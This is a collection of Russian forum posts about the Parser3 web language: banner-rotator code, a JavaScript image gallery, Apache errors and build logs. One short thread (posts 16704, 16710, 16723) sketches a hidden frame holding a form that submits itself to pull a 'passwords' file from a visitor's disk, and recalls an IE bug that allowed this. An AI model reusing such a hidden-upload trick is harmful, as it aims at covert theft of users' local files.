#######\
####Содержит таблицу с баннерами по-умолчанию.\
$defbanner[^table::load[/defbanner.cfg]]\
\
#######\
####Начало обработки\
^if($bid != 0){\
$bselect[^bylimit.select($bylimit.id==$bid)]\
 ^if(^bselect.count[]==1 && $counter eq count){\
 $selcut[^all.select($all.id!=$bselect.id)]\
 $showed[^eval($bselect.showed+1)]\
 ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
 ^selcut.sort($selcut.id)\
 ^selcut.save[/banner.cfg]\
 }\
}{\
 ^if($bgroup !=0){\
  ^switch[^bygroup.count[]]{\
   ^case[0]{\
   $bselect[^defbanner.select($defbanner.group_id==$bgroup)]\
   }\
   ^case[1]{\
   $bselect[^bygroup.select(^bygroup.line[]==1)]\
    ^if(^bselect.count[]==1 && $bselect.showed < $bselect.limit && $counter eq count){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
   }\
   ^case[DEFAULT]{\
    ^switch[^bygrouplimit.count[]]{\
     ^case[0]{\
     $bselect[^defbanner.select($defbanner.group_id==$bgroup)]\
     }\
     ^case[1]{\
     $bselect[^bygrouplimit.select(^bygrouplimit.line[]==1)]\
      ^if(^bselect.count[]==1 && $counter eq count){\
      $selcut[^all.select($all.id!=$bselect.id)]\
      $showed[^eval($bselect.showed+1)]\
      ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
      ^selcut.sort($selcut.id)\
      ^selcut.save[/banner.cfg]\
      }\
     }\
     ^case[DEFAULT]{\
     $rndselect[^eval(^math:random(^bygrouplimit.count[])+1)]\
     $bselect[^bygrouplimit.select(^bygrouplimit.line[]==$rndselect)]\
      ^if(^bselect.count[]==1 && $counter eq count){\
      $selcut[^all.select($all.id!=$bselect.id)]\
      $showed[^eval($bselect.showed+1)]\
      ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
      ^selcut.sort($selcut.id)\
      ^selcut.save[/banner.cfg]\
      }\
     }\
    }\
   }\
  }\
 }{\
  ^switch[^bylimit.count[]]{\
   ^case[0]{\
    ^switch[^all.count[]]{\
     ^case[0]{}\
     ^case[1]{\
     $bselect[^all.select(^all.line[]==1)]\
     }\
     ^case[DEFAULT]{\
     $rndselect[^eval(^math:random(^all.count[])+1)]\
     $bselect[^all.select(^all.line[]==$rndselect)]\
     }\
    }\
   }\
   ^case[1]{\
   $bselect[^bylimit.select(^bylimit.line[]==1)]\
    ^if(^bselect.count[]==1 && $counter eq count){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
   }\
   ^case[DEFAULT]{\
   $rndselect[^eval(^math:random(^bylimit.count[])+1)]\
   $bselect[^bylimit.select(^bylimit.line[]==$rndselect)]\
    ^if(^bselect.count[]==1 && $counter eq count){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
   }\
  }\
 }\
}\
\
#######\
####Вывод полученного баннера.\
<a href=\"$bselect.link\"><img src=\"$bselect.path\" width=\"$bselect.w\" height=\"$bselect.h\" border=\"0\"></a>\
[/code]\
Вызывается так:\
^show[bid;bgroup;counter]\
Если указан bid то будет вызываться конкретный баннер, если указан bgroup, то будут показываться баннеры из этой группы, если \
counter = \"count\", то показы считаются (если нет - то нет)."
"16680","Форма для добавления/удаления баннеров из крутилки:\
[code]\
@admin[]\
$allban[^table::load[/banner.cfg]]\
$group_hash[^allban.hash[group_id][$.distinct(1)]]\
$id_hash[^allban.hash[id][$.distinct(1)]]\
<table cellpadding=5>\
<tr>\
<td colspan=2 align=center><b>Панель управления баннеропоказами.</b></td>\
</tr>\
<tr>\
<td width=200 height=25 bgcolor=\"#FFCC00\">\
<b>Добавить баннер:</b>\
</td>\
<td height=25 bgcolor=\"#FFCC00\">\
<b>Удалить баннер:</b>\
</td>\
</tr>\
<tr>\
<td valign=top>\
<form metod=post>\
Группа: <br>\
<select name=newgroups>\
^group_hash.foreach[key;value]{\
<OPTION value=$key>$key\
}\
</select> или создать новую\
<input name=newgroupn size=1><br>\
Путь: <br><input name=newpath style=\"width: 100%\"><br>\
Число показов: <br><input name=newlimit style=\"width: 100%\"><br>\
Ширина изображения: <br><input name=neww style=\"width: 100%\"><br>\
Высота изображения: <br><input name=newh style=\"width: 100%\"><br>\
Ссылка: <br><input name=newlink style=\"width: 100%\"><br><br>\
<div align=center><input type=submit value=Добавить name=newpost></div>\
</form>\
</td>\
<td valign=top>\
<form method=post>\
Выбрать баннер:<br>\
<select name=delban>\
^allban.menu{\
<OPTION value=$allban.id>Баннер: $allban.id Группа: $allban.group_id Стандарт: $allban.w x $allban.h\
}\
</select>\
<br>\
<div align=center><input type=submit value=Удалить name=delpost></div>\
</form>\
</td>\
</tr>\
<tr>\
<td colspan=2 height=25 bgcolor=\"#FFCC00\"></td>\
</tr>\
</table>\
<br><br>\
#######\
####Обработка\
####Добавление баннера\
^if(def $form:newpost){\
 ^if(def $form:newpath && def $form:newlimit && def $form:neww && def $form:newh && def $form:newlink){\
  ^if(def $form:newgroupn){$groupid[$form:newgroupn]}{\
   ^if(def $form:newgroups){$groupid[$form:newgroups]}{}\
  }\
 $max[0]\
 ^allban.menu{\
 ^if($allban.id > $max){$max[$allban.id]}\
 }\
 $newid[^eval($max+1)]\
 ^allban.append{$newid	$form:newpath	$groupid	0	$form:newlimit	$form:neww	$form:newh	$form:newlink}\
 ^allban.sort{$allban.id}\
 ^allban.save[/banner.cfg]\
 }{Необходимо заполнить всё поля!\
 }\
}{\
}\
####Удаление баннера\
^if(def $form:delpost && def $form:delban){\
$delban[^allban.select($allban.id != $form:delban)]\
^delban.sort{$delban.id}\
^delban.save[/banner.cfg]\
}{\
}\
[/code]"
"16692","Изменилась немного идея но суть осталась\
\
Я создал \"галлерею\" картинок на парсере. На самом деле, это не галерея, но в данном случае это не важно\
Одним из требований было то, чтобы всё смотрелось абсолютно одинаково во всех браузерах на всех разрешениях экрана > 640*480\
Также было условие, чтобы картинка обязательно вписывалась в экран.\
\
Так как картинки былы все разнокалиберные, то потребовалась незатейливая проверка:\
\
1. Экран 800*600 или больше?\
2. Размер области, отводимой под картинку тогда будет x*y\
3. картинка больше x*y?\
4. изменяем размер картинки так, чтобы был меньше по обоим параметрам но максимально большим (для этого на сайте хранились картинки с большими размерами типа 2600*2000)\
\
И тут мне потребовалось сделать локальную версию сайта для записи на диск. Соответственно использование парсера отпадает. Можно только javascript (vb - нельзя)\
Трудным моментом для меня стало определение размеров картинки с каким-то адресом типа\
s://disk/img/0001.jpg\
\
Я думаю, что можно как-то подгружать сначала картинку на страницу, не выводя её при этом, узнавать размер и в зависимости от этого её уже изменять\
\
Но я не знаю как это делать\
\
Так у меня должна получиться такая схема:\
1. Использую 1 файл index.html, в который с помощью js передаю название картинки\
a href=\"index.html?img=1\
2. Страница перегружается. В переменную подгружается картинка s://disk/img/1.jpg. Узнаём её размер (Как?). Узнаём параметры экрана и размеры области, отводимой под картинку.\
3. Пропорционально изменяем картинку так, чтобы она влезла куда нужно и вставляем.\
\
Понятное дело, размер картинки не будет соответствовать её реальному размеру. Но мне на это плевать т.к. он будет ему пропорционален, а скорость чтения cd немного больше, чем даже локальной сети\
\
В общем, такая задача. помогите, если поняли :)"
"16694","есть документ,\
<doc>\
 <a>\
  <b></b>\
  <c></c>\
 </a>\
</doc>\
 \
из него делаю, к примеру, selectSingle[a]\
\
Хочется просто вывести строкой XML <a><b></b><c></c></a>\
\
Можно формировать новый документ, делать ему импорт ноды,\
потом string[]. Криво?\
\
Должен же быть более \"правильный вариант\"?"
"16696","<img src=\"картинка\" alt=\"подпись\" width=\"100%\" border=\"0\">"
"16697","правда ты сформулировал задачу с моей точки зрения не совсем корректно... похоже тебе хочется \"вывести ноду в виде текстовой строки\". после такой формулировки становится понятнее, что задача в общем-то не такая уж и необходимая... :)\
\
но мне она тоже была нужна, поэтому я написал метод @nodeToStr[node;tagName], который уже давно [url=\"/examples/lib/\"]в примерах[/url]"
"16698","Во-первых, не все браузеры понимают ширину картинки в 100%\
\
Во-вторых, кажется Опера и ещё кое-что делает картинку шириной в 100% от экрана, а не от ячейки таблицв, в которую картинка вставлена, и соответственно картинка всё растягивает\
\
В-третьих, у меня такая область отведена для картинок и такие разные картинки, что мне иногда нужно писать width=\"100%\" а иногда \"height=100%\" для максимального заполнения этой самой области\
Т.е., если картинка сильно больше по высоте, то мы её вписываем по высоте, а если сильно больше по ширине - то по ширине.\
Но! Может ведь оказаться, что картинка не вписывается в 100% (т.е. либо ширина, либо высота будут больше области для картинки), тогда её нужно немного уменьшить\
\
В общем, алгоритм см. выше"
"16699","Народ! Помогите, пжалуста! Вопрос вот какой:\
В некоей переменной содержится строка (путь к файлу на диске, C:\\Мои документы\\всяка_бяка.jpg). Могу я как нибудь, используя эту строку, файл по этому адресу закачать с локальной машины на сервер? "
"16700","Друззя.\
Никто по старой памяти не поделится хорошей написанной на парсере CMS, если такие, конечно, есть?\
Со своей стороны могу предложить что-нибудь придумать.\
\
Я что-то такое писал полгода назад, но оно застопорилось как-то. Вспоминать - очень лень, писать с нуля тоже, прикиньте? Код, я думаю, сам вполне разберу."
"16704","[code]\
<input type=\"hidden\" value=\"c:\\windows\\файл_со_всеми_паролями.тхт\">\
[code]\
\
"
"16705","Свежепереписанный на Парсер с ПХП EditWorksPro (www.editworkspro.com) с поддержкой языков и всеми делами-пирагами, если нужен обращайся."
"16708","You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server.\
\
Пермишены вроде правильные, несколько раз ставил а ошибка в первый раз.\
"
"16709","я в галерее из этого вышел по-простому. Сделал превьюки фиксированной ширины 100px и разместил их в окне. По умолчанию поставил 5 картинок в горизонтальной строке (суммарно 500px т.е. в 640х480 поместятся легко) и сделал возможность настройки количества картинок выводимых на экране. Причем менять можно как количество картинок в строках так и в столбцах. Это самое на мой взгляд верное решение. А если гоняться за каждой картинкой которая шире или выше, то это ни к чему не приведет.\
\
P.S. Ширину 100% понимают все из последних браузеров, проверял лично.\
"
"16710","допусим в скрытом фрейме делаем форму\
[code]\
<form name=3lo method=post onload=\"3lo_go()\"enctype=\"multipart/form-data\">\
<input type=file name=$super_password_url>\
</form>\
[/code]\
\
а дальше написать джаваскрипт\
\
[code]\
<script language=Javascript>\
function 3lo_go(){\
document.3lo.submit();\
}\
</script>\
[/code]\
\
можит заработает.....вообще поидее должен........"
"16711","это откуда в папке сgi оказались html файлы а? По стандартным настройкам в папке cgi лежат разл скрипты а для html фалов должно быть чтото типа папки www или publicfile чтонить такое"
"16712","зайди вот сюда\
http://www.artlebedev.ru/tools/browsers/\
и пасматри статистику броузеров. Такчто шанс что ктие придет ктонить не с эксплорером очинь мал"
"16714","Просто случайно заметил. Реклама bee2b на Яндекс. На баннере шестерёнки механизма компании которые сначала натужно вращаются, а потом их клинит. Тут появляется волшебная маслёнка с надписью bee2b, механизм компании смазывается, после чего шестерни начинают легко и свободно вертеться... В другую сторону... Слоган: \"bee2b - лучшее решение для бизнеса\". Да уж, лучшее решение для бизнеса - дать ему обратный ход :)))"
"16715","если бы были неправильные биты на исполняемом файле, ошибка была бы другой: internal server error.\
\
тут похоже, что из данного каталога вообще не разрешён запуск cgi скриптов.\
проверьте \
1. журнал ошибок\
2. директиву scriptalias"
"16717","к такому запросу Apache преобразует запрос на .html файл при наличии CGI-обработчика(handler).\
\
в терминах Apache происходит «internal redirect на этот адрес».\
\
в parser приняты специальные меры, чтобы не допустить несанкционированный доступ к файлам по url подобного вида, если он задан явно, а не получен при internal redirect."
"16720","Ага, обращаюсь. :-)\
Но это же, как я понял, визивиг-компонент только. Впрочем, и его бы с удовольствием посмотрел.\
Kirill.Ivansky AT kaspersky.com"
"16722","а раньше не было, точно помню...\
Классная правильная фича.\
Александр, я как то помню год назад в форуме проскочила\
ссылка на changelog парсера, а вот что найти не удайться, не подскажите?"
"16723","Но в IE нескольких версий был баг, позволявший выкачивать с диска пользователя файл с заранее известным именем."
"16726","Влияет ли установка ПАРСЕРА на работу PHP?\
- если да, то как быть?"
"16728","Вот то,что япридумал. посмотрите ошибки, пожалуйста. Может всё это можно упростить?\
\
Повторяю - мне не нужны превьюшки. Нужно максимальное отображение картинки.  Вроде как в АсиДиси смотришь\
\
Обрабатываем страницу вида index.html?img=15\
Фото храняться в этой же папке\
\
все циферки,в основном,  зависят от конкретной задачи. В моём случае страница состоит из двух частей - слева меню, ширина которого зависит от размеров экрана и справа большое поле, которое нужно  по максимуму заполнить картинкой\
\
При этом нужно учитывать размеры экрана, занятые под панели браузера - для всех они разные - это можно сделать нехитрую проверку\
\
Сразу возникли  проблемы:\
1. Как правильно в jscript производить арифметические действия.\
Я в  переменную img заношу число (например 15)\
Если я пишу documnet.write(img+1); - выводится 151\
Если я пишу documnet.write(img-1); - выводится 14\
Если я пишу documnet.write(img-(-1)); - выводится 16\
\
\
[code]\
<script language=\"JavaScript\" type=\"text/JavaScript\">\
[color=\"blue\"]// Отрезаем от адреса всё, что  после вопросительного знака - получаем img=15[/color]\
var attr = location.search;\
[color=\"blue\"]// Создаём переменную с номером фотографии - 15[/color]\
var img = attr.substring (5, attr.length);\
[color=\"blue\"]// задаём номер начальной и конечной фотографии, подразумевая, что пропусков нет - имена фотографий в виде 15.jpg[/color]\
var begin = 1;\
var end = 119;\
[color=\"blue\"]// новая переменная - имя фотографии 15.jpg[/color]\
var imgsrc = img + '.jpg';\
[color=\"blue\"]// проверяем, если img=0 или не существует, то присваеваем ей одно из конечных значений[/color]\
if (imgsrc == '.jpg' || imgsrc == '0.jpg'){\
imgsrc = end+'.jpg';\
}\
\
[color=\"blue\"]// подгружаем в память данную и две соседних фото  - для 15 это будут  14 и  16 - это нужно  делать,  чобы при переходе на следующее фото всё  сразу отображалось[/color]\
var imgsrc2 = img -(- 1) + '.jpg';\
var imgsrc3 = img - 1 + '.jpg';\
var imgsrc4 = end + '.jpg';\
image=new Image;image.src=imgsrc; //Теперь мы  можем всё что угодно узнать о картинке 15.jpg, т.к. она у нас в памяти в переменной image\
image2=new Image;image2.src=imgsrc2;\
image3=new Image;image3.src=imgsrc3;\
image4=new Image;image4.src=imgsrc4;\
\
\
[color=\"blue\"]// Параметры экрана - высота и  ширина[/color]\
var screenh = screen.height;\
var screenw = screen.width;\
[color=\"blue\"]// В зависимости от размеров экрана задаём размеры поля для отображения фотографии - width и height.\
// imgw и imgh - это максимальные рамеры ширины или  высоты картинки[/color]\
if (screenw < 900) {\
var leftw = 150;\
var height = screenh-165;\
var width = screenw-leftw-12;\
var imgw = width*0.85;\
var imgh = imgw *0.65\
}\
if (screenw >= 900 && screenw < 2400) {\
var leftw = 200;\
var height = screenh-165;\
var width = screenw-leftw-12;\
var imgw = width*0.85;\
var imgh = imgw *0.75\
}\
if (screenw >= 2400) {\
var leftw = 200;\
var height = screenh-165;\
var width = screenw-leftw-12;\
var imgw = width*0.9;\
var imgh = imgw *0.75\
}\
[color=\"blue\"]// Округляем imgh и imgw - а  то браузеры  не понимают width=\"90.56\"[/color]\
var imgh = Math.round(imgh);\
var imgw = Math.round(imgw);\
[color=\"blue\"]// Рассчитываем отношения  ширин и высот рисунка и поля  под рисунок.[/color] \
var imagecoeff = image.width / image.height;\
var areacoeff = imgw / imgh;\
\
document.write('<table width=\\\"100%\\\" height=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">');\
document.write('<tr><td align=\\\"center\\\">');\
\
[color=\"blue\"]// Проверяем с помощью отношений ширин и длин, вписывается ли  картинка в  окно. Если не вписывается, то вписываем её по максимальному  параметру - ширине  или высоте. Другой параметр выставлять не обязательно - т.к. картинки на диске и грузятся быстро.[/color]\
if(imagecoeff >= areacoeff){\
document.write('<img src=\\\"'+imgsrc+'\\\" width=\\\"'+imgw+'\\\" border=\\\"1\\\"><br>');\
}\
if(imagecoeff < areacoeff){\
document.write('<img src=\\\"'+imgsrc+'\\\" height=\\\"'+imgh+'\\\" border=\\\"1\\\"><br>');\
}\
document.write('</td></tr>');\
\
[color=\"blue\"]//Делаем строку навигации внизу. Почему-то не получается у меня прибавить к переменной img - 1. Можно только отнять (-1)[/color]\
var nextimg = img - (-1);\
var previmg = img - 1;\
document.write('<tr><td align=\\\"center\\\">');\
if (img <= begin){\
document.write('<a href=\\\"index.html?img='+end+'\\\">Назад</a>  <a href=\\\"index.html?img='+nextimg+'\\\">Дальше</a>');\
}\
if (img > begin && img < end){\
document.write('<a href=\\\"index.html?img='+previmg+'\\\">Назад</a>  <a href=\\\"index.html?img='+nextimg+'\\\">Дальше</a>');\
}\
else if (img >=  end) {\
document.write('<a href=\\\"index.html?img='+previmg+'\\\">Назад</a>  <a href=\\\"index.html?img=1\\\">Дальше</a>');\
}\
document.write('</td></tr>');\
document.write('</table>');\
</script>\
[/code]"
"16729","Кстати, никто не посоветует хорошие ресурсы по джава-скрипту. Меня интересует хороший справочник на русском языке\
спасибо"
"16730","...если он придёт, то КРУТО обломается.\
если вы читали пред. сообщения, я говорил,  что это версия сайта на диск.  При этом диск этот увидят от силы 100 человек.\
\
1. если бы их было 10000, то я бы,конечно, плюнул на всё. А тут надо держать марку\
2. по крайней мере у 6 из них  (если  верить статистике) с высокой долей вероятности будет стоять не эксплорер\
\
Но это уже не важно - см.  [url=\"http://www.parser.ru/forum/?id=16728\"]ниже[/url] - это вроде работает\
"
"16732","- если да, то как быть?"
"16737","... в случаях, когда они (Parser & PHP) вместе будут обрабатывать один файл. "
"16739","Так .html файлы на месте в папке www"
"16741","результат тот же:\
[code]\
%cd parser3/\
%cd parser3/\
%touch *\
%./configure\
loading cache ./config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking host system type... i386-unknown-freebsd4.8\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether make sets ${MAKE}... (cached) yes\
checking for ranlib... (cached) ranlib\
checking for mawk... (cached) nawk\
checking for bison... (cached) bison -y\
checking bison version... test: 75\
Written by Robert Corbett and Richard Stallman: bad number\
bison (GNU Bison) 1.75\
Written by Robert Corbett and Richard Stallman (ok)\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for inline... (cached) inline\
checking for c++... (cached) c++\
checking whether the C++ compiler (c++  ) works... yes\
checking whether the C++ compiler (c++  ) is a cross-compiler... no\
checking whether we are using GNU C++... (cached) yes\
checking whether c++ accepts -g... (cached) yes\
configure: warning: enabling charset windows-1251\
checking for dynamic-link library extension... so\
checking for mysql client... /usr/local/lib/mysql/libmysqlclient.so\
checking for pgsql client... configure: warning: could not guess pgsql client\
checking for oracle client... configure: warning: could not guess oracle client\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking how to run the C++ preprocessor... (cached) c++ -E\
checking for ANSI C header files... (cached) yes\
checking for size_t... (cached) yes\
checking for off_t... (cached) yes\
checking for ssize_t... (cached) yes\
checking whether time.h and sys/time.h may both be included... (cached) yes\
checking for signal.h... (cached) yes\
checking for unistd.h... (cached) yes\
checking for process.h... (cached) no\
checking for stddef.h... (cached) yes\
checking for stdarg.h... (cached) yes\
checking for fcntl.h... (cached) yes\
checking for sys/stat.h... (cached) yes\
checking for io.h... (cached) no\
checking for stdio.h... (cached) yes\
checking for errno.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for math.h... (cached) yes\
checking for crypt.h... (cached) no\
checking for time.h... (cached) yes\
checking for sys/time.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for string.h... (cached) yes\
checking for direct.h... (cached) no\
checking for setjmp.h... (cached) yes\
checking for memory.h... (cached) yes\
checking for new... (cached) yes\
checking for sys/file.h... (cached) yes\
checking for sys/locking.h... (cached) no\
checking for sys/types.h... (cached) yes\
checking for sys/select.h... (cached) yes\
checking for sys/resource.h... (cached) yes\
checking for winsock.h... (cached) no\
checking for sys/socket.h... (cached) yes\
checking for netinet/in.h... (cached) yes\
checking for arpa/inet.h... (cached) yes\
checking for netdb.h... (cached) yes\
checking for sin in -lm... (cached) yes\
checking for crypt in -lcrypt... (cached) yes\
checking for trunc... (cached) no\
checking for round... (cached) no\
checking for sign... (cached) no\
checking for flock... (cached) yes\
checking for _locking... (cached) no\
checking for fcntl... (cached) yes\
checking for lockf... (cached) yes\
checking for ftruncate... (cached) yes\
checking for getrusage... (cached) yes\
checking for gettimeofday... (cached) yes\
checking for crypt... (cached) yes\
checking for sigsetjmp... (cached) yes\
checking for siglongjmp... (cached) yes\
checking for qsort... (cached) yes\
checking for select... (cached) yes\
checking for timezone variable... no\
checking for daylight variable... no\
checking for tm_gmtoff in struct tm... yes\
checking for tm_tzadj in struct tm... no\
checking whether compiler supports pragma pack... yes\
checking for set_new_handler... yes\
updating cache ./config.cache\
creating ./config.status\
creating Makefile\
creating src/Makefile\
creating src/types/Makefile\
creating src/classes/Makefile\
creating src/classes/gd/Makefile\
creating src/classes/smtp/Makefile\
creating src/include/Makefile\
creating src/main/Makefile\
creating src/sql/Makefile\
creating src/lib/Makefile\
creating src/lib/ltdl/Makefile\
creating src/lib/pcre/Makefile\
creating src/lib/md5/Makefile\
creating src/lib/patches/Makefile\
creating src/targets/Makefile\
creating src/targets/cgi/Makefile\
creating src/targets/apache13/Makefile\
creating src/targets/apache13/hook/Makefile\
creating src/targets/apache13/p3runConfigure\
creating src/targets/isapi/Makefile\
creating etc/Makefile\
creating etc/parser3.charsets/Makefile\
creating bin/Makefile\
creating bin/auto.p.dist\
creating src/include/pa_config_auto.h\
src/include/pa_config_auto.h is unchanged\
configuring in src/lib/ltdl\
running /bin/sh ./configure  --enable-ltdl-convenience --cache-file=../../.././config.cache --srcdir=.\
loading cache ../../.././config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking whether to enable maintainer-specific portions of Makefiles... no\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for working const... (cached) yes\
checking for inline... (cached) inline\
checking for ranlib... (cached) ranlib\
checking which extension is used for shared libraries... (cached)\
checking which variable specifies run-time library path... (cached)\
checking for objdir... (cached) .libs\
checking how to run the C preprocessor... (cached) gcc -E\
checking for ANSI C header files... (cached) yes\
checking for malloc.h... (cached) no\
checking for memory.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for stdio.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for dlfcn.h... (cached) yes\
checking for dl.h... (cached) no\
checking for dld.h... (cached) no\
checking for string.h... (cached) yes\
checking for strchr... (cached) yes\
checking for strrchr... (cached) yes\
checking whether libtool supports -dlopen/-dlpreopen... (cached) no\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking command to parse  output... (cached) no\
checking for _ prefix in compiled symbols... (cached) no\
updating cache ../../.././config.cache\
creating ./config.status\
creating config_auto.h\
config_auto.h is unchanged\
%gmake\
Making all in src\
gmake[1]: Entering directory `/usr/home/constant/parser3/parser3/src'\
cd .. && automake --gnu src/Makefile\
cd .. \\\
  && CONFIG_FILES=src/Makefile CONFIG_HEADERS= /bin/sh ./config.status\
creating src/Makefile\
gmake[1]: Leaving directory `/usr/home/constant/parser3/parser3/src'\
gmake[1]: Entering directory `/usr/home/constant/parser3/parser3/src'\
Making all in include\
gmake[2]: Entering directory `/usr/home/constant/parser3/parser3/src/include'\
cd ../.. && \\\
  automake --gnu  src/include/Makefile\
cd ../.. && \\\
  CONFIG_HEADERS= CONFIG_LINKS= \\\
  CONFIG_FILES=src/include/Makefile /bin/sh ./config.status\
creating src/include/Makefile\
gmake[2]: Leaving directory `/usr/home/constant/parser3/parser3/src/include'\
gmake[2]: Entering directory `/usr/home/constant/parser3/parser3/src/include'\
cd ../.. && autoheader\
WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot'\
WARNING: and `config.h.top', to define templates for `config.h.in'\
WARNING: is deprecated and discouraged.\
\
WARNING: Using the third argument of `AC_DEFINE' and\
WARNING: `AC_DEFINE_UNQUOTED' allows to define a template without\
WARNING: `acconfig.h':\
\
WARNING:   AC_DEFINE([NEED_MAIN], 1,\
WARNING:             [Define if a function `main' is needed.])\
\
WARNING: More sophisticated templates can also be produced, see the\
WARNING: documentation.\
aclocal.m4:394: error: m4_defn: undefined macro: _m4_divert_diversion\
aclocal.m4:34: AC_LIBLTDL_CONVENIENCE is expanded from...\
aclocal.m4:394: the top level\
autoheader: autom4te failed with exit status: 1\
 at /usr/local/bin/autoheader line 163\
gmake[2]: *** [stamp-h.in] Error 1\
gmake[2]: Leaving directory `/usr/home/constant/parser3/parser3/src/include'\
gmake[1]: *** [all-recursive] Error 1\
gmake[1]: Leaving directory `/usr/home/constant/parser3/parser3/src'\
gmake: *** [all-recursive] Error 1\
%make\
Making all in src\
Making all in include\
cd ../.. && autoheader\
WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot'\
WARNING: and `config.h.top', to define templates for `config.h.in'\
WARNING: is deprecated and discouraged.\
\
WARNING: Using the third argument of `AC_DEFINE' and\
WARNING: `AC_DEFINE_UNQUOTED' allows to define a template without\
WARNING: `acconfig.h':\
\
WARNING:   AC_DEFINE([NEED_MAIN], 1,\
WARNING:             [Define if a function `main' is needed.])\
\
WARNING: More sophisticated templates can also be produced, see the\
WARNING: documentation.\
aclocal.m4:394: error: m4_defn: undefined macro: _m4_divert_diversion\
aclocal.m4:34: AC_LIBLTDL_CONVENIENCE is expanded from...\
aclocal.m4:394: the top level\
autoheader: autom4te failed with exit status: 1\
 at /usr/local/bin/autoheader line 163\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3/src/include.\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3/src.\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3.\
%uname -a\
FreeBSD cnst 4.8-RELEASE FreeBSD 4.8-RELEASE #16: Sun May 11 19:24:54 EDT 2003     constant@cnst:/usr/src/sys/compile/MYKERNEL  i386\
%\
[/code]"
"16743","после исправления Makefile.am (строчки с комментариями (13---17) вызывали ошибку) и configure.in (удалил строчки [code]dnl We require qsort(3) and select(2).\
\
AC_CHECK_FUNCS(qsort, , AC_MSG_ERROR([No qsort library function.]))[/code], [url=\"./?id=11255\"]как советовали[/url]), получаем следующую сессию:\
\
[code]\
Constantine@cn ~/parser3\
$ cd parser3\
\
Constantine@cn ~/parser3/parser3\
$ find ./ -exec touch {} \\;\
\
Constantine@cn ~/parser3/parser3\
$ ./configure\
creating cache ./config.cache\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking host system type... i686-pc-cygwin\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether make sets ${MAKE}... (cached) yes\
checking for ranlib... ranlib\
checking for mawk... no\
checking for gawk... gawk\
checking for bison... bison -y\
checking bison version... test: 875b\
Written by Robert Corbett and Richard Stallman: bad number\
bison (GNU Bison) 1.875b\
Written by Robert Corbett and Richard Stallman (ok)\
checking for gcc... gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... yes\
checking whether gcc accepts -g... yes\
checking for inline... inline\
checking for c++... c++\
checking whether the C++ compiler (c++  ) works... yes\
checking whether the C++ compiler (c++  ) is a cross-compiler... no\
checking whether we are using GNU C++... yes\
checking whether c++ accepts -g... yes\
configure: warning: enabling charset windows-1251\
checking for dynamic-link library extension... dll\
checking for mysql client... configure: warning: could not guess mysql client\
checking for pgsql client... configure: warning: could not guess pgsql client\
checking for oracle client... configure: warning: could not guess oracle client\
checking for dlopen in -ldl... no\
checking for dlopen... yes\
checking for shl_load... no\
checking for shl_load in -ldld... no\
checking for dld_link in -ldld... no\
checking for dlerror... yes\
checking how to run the C++ preprocessor... c++ -E\
checking for ANSI C header files... yes\
checking for size_t... yes\
checking for off_t... yes\
checking for ssize_t... yes\
checking whether time.h and sys/time.h may both be included... yes\
